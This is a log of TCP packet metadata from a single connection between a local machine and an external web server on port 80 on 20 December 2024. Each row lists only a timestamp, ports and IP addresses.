Dec 20, 2024 22:52:34.478666067 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.478714943 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.478763103 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.478864908 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.479851961 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.479901075 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.479929924 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.479968071 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.480946064 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.480993032 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.481045961 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.481084108 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.482110023 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.482151985 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.482199907 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.482244015 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.483263016 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.483309984 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.483349085 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.483403921 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.484399080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.484446049 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.484493971 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.484532118 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.485575914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.485621929 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.485670090 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.485708952 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.486696959 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.486741066 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.486820936 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.486861944 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.487873077 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.487921953 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.487970114 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.488017082 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.488995075 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.489120007 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.489131927 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.489178896 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.490142107 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.490190029 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.490283966 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.490329981 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.491326094 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.491374016 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.491420984 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.491467953 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.492456913 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.492503881 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.492551088 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.492588997 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.493617058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.493663073 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.493710995 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.493750095 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.494729996 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.494786978 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.494899988 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.494942904 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.495898008 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.495944023 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.496016026 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.496073961 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.497103930 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.497150898 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.497262955 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.497307062 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.498233080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.498284101 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.498353004 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.498405933 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.499366999 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.499411106 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.499469995 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.499521017 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.500493050 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.500539064 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.500682116 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.500762939 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.501663923 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.501708984 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.501743078 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.501785040 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.502804995 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.502856016 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.502908945 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.502957106 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.504026890 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.504061937 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.504076958 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.504101038 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.538482904 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.538525105 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.538532019 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.538564920 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.538888931 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.538932085 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.538971901 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.539017916 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.540026903 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.540076017 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.540116072 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.540154934 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.541174889 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.541225910 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.541275024 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.541321993 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.542323112 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.542370081 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.542438030 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.542488098 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.543477058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.543524027 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.543576002 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.543622017 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.544647932 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.544698954 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.544826031 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.544873953 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.545758963 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.545818090 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.545866966 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.545911074 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.546928883 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.546972990 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.547019958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.547061920 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.548063040 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.548109055 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.548156977 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.548199892 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.549217939 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.549263954 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.549345016 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.549400091 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.550357103 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.550417900 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.550460100 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.550503969 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.551520109 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.551565886 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.551625967 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.551667929 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.552622080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.552664995 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.652044058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.652071953 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.652102947 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.652120113 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.652363062 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.652405024 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.652479887 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.652523994 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.653523922 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.653575897 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.653619051 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.653660059 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.654601097 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.654654026 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.654979944 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.655029058 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.655101061 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.655150890 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.656127930 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.656174898 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.656234980 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.656286955 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.657286882 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.657341003 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.657398939 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.657447100 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.658473015 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.658524036 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.658592939 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.658636093 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.659621000 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.659670115 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.659749985 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.659797907 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.660723925 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.660772085 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.660811901 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.660856009 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.661860943 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.661910057 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.661967039 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.662024021 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.663032055 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.663081884 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.663172007 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.663230896 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.664175987 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.664223909 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.664273977 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.664320946 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.665319920 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.665371895 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.665420055 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.665467024 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.666455984 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.666502953 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.666562080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.666606903 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.667619944 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.667659998 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.667745113 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.667789936 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.668778896 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.668826103 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.668879986 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.668926001 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.669903994 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.669950008 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.670054913 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.670111895 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.671186924 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.671236992 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.671278000 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.671330929 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.672250032 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.672292948 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.672327042 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.672367096 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.673377037 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.673438072 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.673496008 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.673541069 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.674560070 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.674607992 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.674658060 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.674707890 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.675677061 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.675724030 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.675781965 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.675833941 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.676826000 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.676877975 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.676927090 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.676975965 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.677978039 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.678033113 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.678081989 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.678128958 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.679491043 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.679502010 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.679552078 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.680279016 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.680330038 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.680385113 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.680422068 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.681466103 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.681515932 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.681564093 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.681602955 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.682624102 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.682672977 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.682696104 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.682735920 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.683729887 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.683779955 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.683911085 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.683958054 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.684874058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.684921980 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.685002089 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.685199976 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.686016083 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.686069965 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.686119080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.686162949 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.687171936 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.687225103 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.687302113 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.687350035 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.688322067 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.688368082 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.688481092 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.688523054 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.689862967 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.689882040 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.689914942 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.689938068 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.690834999 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.690887928 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.691006899 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.691057920 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.691756964 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.691802979 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.691871881 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.691919088 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.692950964 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.693011045 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.693026066 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.693069935 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.694076061 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.694124937 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.694209099 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.694261074 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.695207119 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.695254087 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.695327044 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.695374966 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.696352005 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.696398973 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.730478048 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.730536938 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.730568886 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.730606079 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.730973005 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.731021881 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.731093884 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.731132030 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.732168913 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.732222080 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.732295036 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.732340097 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.733294010 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.733345032 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.733419895 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.733467102 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.734425068 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.734472990 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.734555960 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.734603882 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.735565901 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.735618114 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.735660076 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.735707045 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.736727953 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.736780882 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.736855984 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.736911058 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.737853050 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.737905025 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.737974882 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.738022089 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.739016056 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:34.739063025 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:34.739141941 CET	80	49786	185.219.81.132	192.168.2.6
